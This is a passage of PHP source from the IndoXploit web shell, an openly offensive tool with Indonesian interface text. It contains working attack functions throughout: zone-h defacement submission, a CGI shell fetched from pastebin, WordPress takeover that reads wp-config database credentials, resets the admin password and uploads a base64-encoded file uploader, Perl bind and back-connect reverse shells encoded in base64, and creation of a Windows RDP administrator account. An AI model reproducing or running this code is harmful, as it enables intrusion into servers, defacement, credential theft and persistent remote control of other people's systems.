  1465.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1466.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1467.         function zoneh($url,$nick) {
  1468.             $ch = curl_init("http://www.zone-h.com/notify/single");
  1469.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1470.                   curl_setopt($ch, CURLOPT_POST, true);
  1471.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1472.             return curl_exec($ch);
  1473.                   curl_close($ch);
  1474.         }
  1475.         foreach($domain as $url) {
  1476.             $zoneh = zoneh($url,$nick);
  1477.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1478.                 echo "$url -> <font color=lime>OK</font><br>";
  1479.             } else {
  1480.                 echo "$url -> <font color=red>ERROR</font><br>";
  1481.             }
  1482.         }
  1483.     } else {
  1484.         echo "<center><form method='post'>
  1485.         <u>Defacer</u>: <br>
  1486.         <input type='text' name='nick' size='50' value='IndoXploit'><br>
  1487.         <u>Domains</u>: <br>
  1488.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1489.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1490.         </form>";
  1491.     }
  1492.     echo "</center>";
  1493. } elseif($_GET['do'] == 'cgi') {
  1494.     $cgi_dir = mkdir('idx_cgi', 0755);
  1495.     $file_cgi = "idx_cgi/cgi.izo";
  1496.     $isi_htcgi = "AddHandler cgi-script .izo";
  1497.     $htcgi = fopen(".htaccess", "w");
  1498.     fwrite($htcgi, $isi_htcgi);
  1499.     fclose($htcgi);
  1500.     $cgi_script = getsource("http://pastebin.com/raw/Lj46KxFT");
  1501.     $cgi = fopen($file_cgi, "w");
  1502.     fwrite($cgi, $cgi_script);
  1503.     fclose($cgi);
  1504.     chmod($file_cgi, 0755);
  1505.     echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1506. } elseif($_GET['do'] == 'fake_root') {
  1507.     ob_start();
  1508.     $cwd = getcwd();
  1509.     $ambil_user = explode("/", $cwd);
  1510.     $user = $ambil_user[2];
  1511.     if($_POST['reverse']) {
  1512.         $site = explode("\r\n", $_POST['url']);
  1513.         $file = $_POST['file'];
  1514.         foreach($site as $url) {
  1515.             $cek = getsource("$url/~$user/$file");
  1516.             if(preg_match("/hacked/i", $cek)) {
  1517.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1518.             }
  1519.         }
  1520.     } else {
  1521.         echo "<center><form method='post'>
  1522.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1523.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1524.         Domain: <br>
  1525.         <textarea style='width: 450px; height: 250px;' name='url'>";
  1526.         reverse($_SERVER['HTTP_HOST']);
  1527.         echo "</textarea><br>
  1528.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1529.         </form><br>
  1530.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1531.     }
  1532. } elseif($_GET['do'] == 'adminer') {
  1533.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1534.     function adminer($url, $isi) {
  1535.         $fp = fopen($isi, "w");
  1536.         $ch = curl_init();
  1537.               curl_setopt($ch, CURLOPT_URL, $url);
  1538.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1539.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1540.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1541.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1542.         return curl_exec($ch);
  1543.               curl_close($ch);
  1544.         fclose($fp);
  1545.         ob_flush();
  1546.         flush();
  1547.     }
  1548.     if(file_exists('adminer.php')) {
  1549.         echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1550.     } else {
  1551.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1552.             echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1553.         } else {
  1554.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  1555.         }
  1556.     }
  1557. } elseif($_GET['do'] == 'auto_dwp') {
  1558.     if($_POST['auto_deface_wp']) {
  1559.         function anucurl($sites) {
  1560.             $ch = curl_init($sites);
  1561.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1562.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1563.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1564.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1565.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1566.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1567.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1568.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1569.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1570.             $data = curl_exec($ch);
  1571.                   curl_close($ch);
  1572.             return $data;
  1573.         }
  1574.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1575.             $post = array(
  1576.                    "log" => "$userr",
  1577.                    "pwd" => "$pass",
  1578.                    "rememberme" => "forever",
  1579.                    "wp-submit" => "$wp_submit",
  1580.                    "redirect_to" => "$web",
  1581.                    "testcookie" => "1",
  1582.                    );
  1583.             $ch = curl_init($cek);
  1584.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1585.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1586.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1587.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1588.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1589.                   curl_setopt($ch, CURLOPT_POST, 1);
  1590.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1591.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1592.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1593.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1594.             $data = curl_exec($ch);
  1595.                   curl_close($ch);
  1596.             return $data;
  1597.         }
  1598.         $scan = $_POST['link_config'];
  1599.         $link_config = scandir($scan);
  1600.         $script = htmlspecialchars($_POST['script']);
  1601.         $user = "indoxploit";
  1602.         $pass = "indoxploit";
  1603.         $passx = md5($pass);
  1604.         foreach($link_config as $dir_config) {
  1605.             if(!is_file("$scan/$dir_config")) continue;
  1606.             $config = file_get_contents("$scan/$dir_config");
  1607.             if(preg_match("/WordPress/", $config)) {
  1608.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1609.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1610.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1611.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1612.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1613.                 $prefix = $dbprefix."users";
  1614.                 $option = $dbprefix."options";
  1615.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1616.                 $db = mysql_select_db($dbname);
  1617.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1618.                 $result = mysql_fetch_array($q);
  1619.                 $id = $result[ID];
  1620.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1621.                 $result2 = mysql_fetch_array($q2);
  1622.                 $target = $result2[option_value];
  1623.                 if($target == '') {                
  1624.                     echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1625.                 } else {
  1626.                     echo "[+] $target <br>";
  1627.                 }
  1628.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1629.                 if(!$conn OR !$db OR !$update) {
  1630.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1631.                     mysql_close($conn);
  1632.                 } else {
  1633.                     $site = "$target/wp-login.php";
  1634.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  1635.                     $b1 = anucurl($site2);
  1636.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  1637.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  1638.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  1639.                     $upload3 = base64_decode
  1640.  
  1641. ("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyI
  1642.  
  1643. uJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  1644.                     $www = "m.php";
  1645.                     $fp5 = fopen($www,"w");
  1646.                     fputs($fp5,$upload3);
  1647.                     $post2 = array(
  1648.                             "_wpnonce" => "$anu2",
  1649.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  1650.                             "themezip" => "@$www",
  1651.                             "install-theme-submit" => "Install Now",
  1652.                             );
  1653.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  1654.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1655.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1656.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1657.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1658.                           curl_setopt($ch, CURLOPT_POST, 1);
  1659.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  1660.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1661.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1662.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1663.                     $data3 = curl_exec($ch);
  1664.                           curl_close($ch);
  1665.                     $y = date("Y");
  1666.                     $m = date("m");
  1667.                     $namafile = "id.php";
  1668.                     $fpi = fopen($namafile,"w");
  1669.                     fputs($fpi,$script);
  1670.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  1671.                            curl_setopt($ch6, CURLOPT_POST, true);
  1672.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  1673.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  1674.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  1675.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  1676.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  1677.                     $postResult = curl_exec($ch6);
  1678.                            curl_close($ch6);
  1679.                     $as = "$target/k.php";
  1680.                     $bs = anucurl($as);
  1681.                     if(preg_match("#$script#is", $bs)) {
  1682.                         echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  1683.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  1684.                         } else {
  1685.                         echo "[-] <font color='red'>gagal mepes...</font><br>";
  1686.                         echo "[!!] coba aja manual: <br>";
  1687.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1688.                         echo "[+] username: <font color=lime>$user</font><br>";
  1689.                         echo "[+] password: <font color=lime>$pass</font><br><br>";    
  1690.                         }
  1691.                     mysql_close($conn);
  1692.                 }
  1693.             }
  1694.         }
  1695.     } else {
  1696.         echo "<center><h1>WordPress Auto Deface</h1>
  1697.         <form method='post'>
  1698.         <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  1699.         <input type='text' name='script' height='10' size='50' placeholder='Hacked by IndoXploit' required><br>
  1700.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  1701.         </form>
  1702.         <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  1703.         </center>";
  1704.     }
  1705. } elseif($_GET['do'] == 'auto_dwp2') {
  1706.     if($_POST['auto_deface_wp']) {
  1707.         function anucurl($sites) {
  1708.             $ch = curl_init($sites);
  1709.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1710.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1711.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1712.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1713.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1714.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1715.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1716.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1717.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  1718.             $data = curl_exec($ch);
  1719.                   curl_close($ch);
  1720.             return $data;
  1721.         }
  1722.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1723.             $post = array(
  1724.                    "log" => "$userr",
  1725.                    "pwd" => "$pass",
  1726.                    "rememberme" => "forever",
  1727.                    "wp-submit" => "$wp_submit",
  1728.                    "redirect_to" => "$web",
  1729.                    "testcookie" => "1",
  1730.                    );
  1731.             $ch = curl_init($cek);
  1732.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1733.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1734.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1735.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1736.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1737.                   curl_setopt($ch, CURLOPT_POST, 1);
  1738.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1739.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1740.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1741.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1742.             $data = curl_exec($ch);
  1743.                   curl_close($ch);
  1744.             return $data;
  1745.         }
  1746.         $link = explode("\r\n", $_POST['link']);
  1747.         $script = htmlspecialchars($_POST['script']);
  1748.         $user = "indoxploit";
  1749.         $pass = "indoxploit";
  1750.         $passx = md5($pass);
  1751.         foreach($link as $dir_config) {
  1752.             $config = anucurl($dir_config);
  1753.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  1754.             $dbuser = ambilkata($config,"DB_USER', '","'");
  1755.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1756.             $dbname = ambilkata($config,"DB_NAME', '","'");
  1757.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1758.             $prefix = $dbprefix."users";
  1759.             $option = $dbprefix."options";
  1760.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1761.             $db = mysql_select_db($dbname);
  1762.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1763.             $result = mysql_fetch_array($q);
  1764.             $id = $result[ID];
  1765.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1766.             $result2 = mysql_fetch_array($q2);
  1767.             $target = $result2[option_value];
  1768.             if($target == '') {                
  1769.                 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1770.             } else {
  1771.                 echo "[+] $target <br>";
  1772.             }
  1773.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1774.             if(!$conn OR !$db OR !$update) {
  1775.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1776.                 mysql_close($conn);
  1777.             } else {
  1778.                 $site = "$target/wp-login.php";
  1779.                 $site2 = "$target/wp-admin/theme-install.php?upload";
  1780.                 $b1 = anucurl($site2);
  1781.                 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  1782.                 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  1783.                 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  1784.                 $upload3 = base64_decode
  1785.  
  1786. ("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyI
  1787.  
  1788. uJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  1789.                 $www = "m.php";
  1790.                 $fp5 = fopen($www,"w");
  1791.                 fputs($fp5,$upload3);
  1792.                 $post2 = array(
  1793.                         "_wpnonce" => "$anu2",
  1794.                         "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  1795.                         "themezip" => "@$www",
  1796.                         "install-theme-submit" => "Install Now",
  1797.                         );
  1798.                 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  1799.                       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1800.                       curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1801.                       curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1802.                       curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1803.                       curl_setopt($ch, CURLOPT_POST, 1);
  1804.                       curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  1805.                       curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1806.                       curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1807.                       curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1808.                 $data3 = curl_exec($ch);
  1809.                       curl_close($ch);
  1810.                 $y = date("Y");
  1811.                 $m = date("m");
  1812.                 $namafile = "id.php";
  1813.                 $fpi = fopen($namafile,"w");
  1814.                 fputs($fpi,$script);
  1815.                 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  1816.                        curl_setopt($ch6, CURLOPT_POST, true);
  1817.                        curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  1818.                        curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  1819.                        curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  1820.                        curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  1821.                        curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  1822.                 $postResult = curl_exec($ch6);
  1823.                        curl_close($ch6);
  1824.                 $as = "$target/k.php";
  1825.                 $bs = anucurl($as);
  1826.                 if(preg_match("#$script#is", $bs)) {
  1827.                     echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  1828.                     echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  1829.                     } else {
  1830.                     echo "[-] <font color='red'>gagal mepes...</font><br>";
  1831.                     echo "[!!] coba aja manual: <br>";
  1832.                     echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1833.                     echo "[+] username: <font color=lime>$user</font><br>";
  1834.                     echo "[+] password: <font color=lime>$pass</font><br><br>";    
  1835.                     }
  1836.                 mysql_close($conn);
  1837.             }
  1838.         }
  1839.     } else {
  1840.         echo "<center><h1>WordPress Auto Deface V.2</h1>
  1841.         <form method='post'>
  1842.         Link Config: <br>
  1843.         <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  1844.         <input type='text' name='script' height='10' size='50' placeholder='Hacked by IndoXploit' required><br>
  1845.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  1846.         </form></center>";
  1847.     }
  1848. } elseif($_GET['do'] == 'network') {
  1849.     echo "<form method='post'>
  1850.     <u>Bind Port:</u> <br>
  1851.     PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
  1852.     <input type='submit' name='sub_bp' value='>>'>
  1853.     </form>
  1854.     <form method='post'>
  1855.     <u>Back Connect:</u> <br>
  1856.     Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>&nbsp;&nbsp;
  1857.     PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
  1858.     <input type='submit' name='sub_bc' value='>>'>
  1859.     </form>";
  1860.    
  1861.  
  1862. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHw
  1863.  
  1864. gZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4o
  1865.  
  1866. UywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OI
  1867.  
  1868. jsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1869.     if(isset($_POST['sub_bp'])) {
  1870.         $f_bp = fopen("/tmp/bp.pl", "w");
  1871.         fwrite($f_bp, base64_decode($bind_port_p));
  1872.         fclose($f_bp);
  1873.  
  1874.         $port = $_POST['port_bind'];
  1875.         $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
  1876.         sleep(1);
  1877.         echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
  1878.         unlink("/tmp/bp.pl");
  1879.     }
  1880.    
  1881.  
  1882. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQh
  1883.  
  1884. XG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkI
  1885.  
  1886. VxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKF
  1887.  
  1888. NUREVSUik7";
  1889.     if(isset($_POST['sub_bc'])) {
  1890.         $f_bc = fopen("/tmp/bc.pl", "w");
  1891.         fwrite($f_bc, base64_decode($bind_connect_p));
  1892.         fclose($f_bc);
  1893.  
  1894.         $ipbc = $_POST['ip_bc'];
  1895.         $port = $_POST['port_bc'];
  1896.         $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
  1897.         sleep(1);
  1898.         echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
  1899.         unlink("/tmp/bc.pl");
  1900.     }
  1901. } elseif($_GET['do'] == 'krdp_shell') {
  1902.     if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
  1903.         if($_POST['create']) {
  1904.             $user = htmlspecialchars($_POST['user']);
  1905.             $pass = htmlspecialchars($_POST['pass']);
  1906.             if(preg_match("/$user/", exe("net user"))) {
  1907.                 echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
  1908.             } else {
  1909.                 $add_user   = exe("net user $user $pass /add");
  1910.                 $add_groups1 = exe("net localgroup Administrators $user /add");
  1911.                 $add_groups2 = exe("net localgroup Administrator $user /add");
  1912.                 $add_groups3 = exe("net localgroup Administrateur $user /add");
  1913.                 echo "[ RDP ACCOUNT INFO ]<br>
  1914.                 ------------------------------<br>
  1915.                 IP: <font color=lime>".$ip."</font><br>
  1916.                 Username: <font color=lime>$user</font><br>
  1917.                 Password: <font color=lime>$pass</font><br>
  1918.                 ------------------------------<br><br>
  1919.                 [ STATUS ]<br>
  1920.                 ------------------------------<br>
  1921.                 ";
  1922.                 if($add_user) {
  1923.                     echo "[add user] -> <font color='lime'>Berhasil</font><br>";
  1924.                 } else {
  1925.                     echo "[add user] -> <font color='red'>Gagal</font><br>";
  1926.                 }
  1927.                 if($add_groups1) {
  1928.                     echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
  1929.                 } elseif($add_groups2) {
  1930.                     echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
  1931.                 } elseif($add_groups3) {
  1932.                     echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
  1933.                 } else {
  1934.                     echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
  1935.                 }
  1936.                 echo "------------------------------<br>";
  1937.             }
  1938.         } elseif($_POST['s_opsi']) {
  1939.             $user = htmlspecialchars($_POST['r_user']);
  1940.             if($_POST['opsi'] == '1') {
  1941.                 $cek = exe("net user $user");
  1942.                 echo "Checking username <font color=lime>$user</font> ....... ";
  1943.                 if(preg_match("/$user/", $cek)) {
  1944.                     echo "[ <font color=lime>Sudah ada</font> ]<br>
  1945.                     ------------------------------<br><br>
  1946.                     <pre>$cek</pre>";
  1947.                 } else {
  1948.                     echo "[ <font color=red>belum ada</font> ]";
  1949.                 }
  1950.             } elseif($_POST['opsi'] == '2') {
  1951.                 $cek = exe("net user $user indoxploit");
  1952.                 if(preg_match("/$user/", exe("net user"))) {
  1953.                     echo "[change password: <font color=lime>indoxploit</font>] -> ";
  1954.                     if($cek) {
  1955.                         echo "<font color=lime>Berhasil</font>";
  1956.                     } else {
  1957.                         echo "<font color=red>Gagal</font>";
  1958.                     }
  1959.                 } else {
  1960.                     echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  1961.                 }
  1962.             } elseif($_POST['opsi'] == '3') {
  1963.                 $cek = exe("net user $user /DELETE");
  1964.                 if(preg_match("/$user/", exe("net user"))) {
  1965.                     echo "[remove user: <font color=lime>$user</font>] -> ";
  1966.                     if($cek) {
  1967.                         echo "<font color=lime>Berhasil</font>";
  1968.                     } else {
  1969.                         echo "<font color=red>Gagal</font>";
  1970.                     }
  1971.                 } else {
  1972.                     echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  1973.                 }
  1974.             } else {
  1975.                 //
  1976.             }
  1977.         } else {
  1978.             echo "-- Create RDP --<br>
  1979.             <form method='post'>
  1980.             <input type='text' name='user' placeholder='username' value='indoxploit' required>
  1981.             <input type='text' name='pass' placeholder='password' value='indoxploit' required>
  1982.             <input type='submit' name='create' value='>>'>
  1983.             </form>
  1984.             -- Option --<br>
  1985.             <form method='post'>
  1986.             <input type='text' name='r_user' placeholder='username' required>
  1987.             <select name='opsi'>
  1988.             <option value='1'>Cek Username</option>
  1989.             <option value='2'>Ubah Password</option>
  1990.             <option value='3'>Hapus Username</option>
  1991.             </select>
  1992.             <input type='submit' name='s_opsi' value='>>'>
  1993.             </form>
  1994.             ";
  1995.         }
  1996.     } else {
  1997.         echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
  1998.     }
  1999. } elseif($_GET['act'] == 'newfile') {
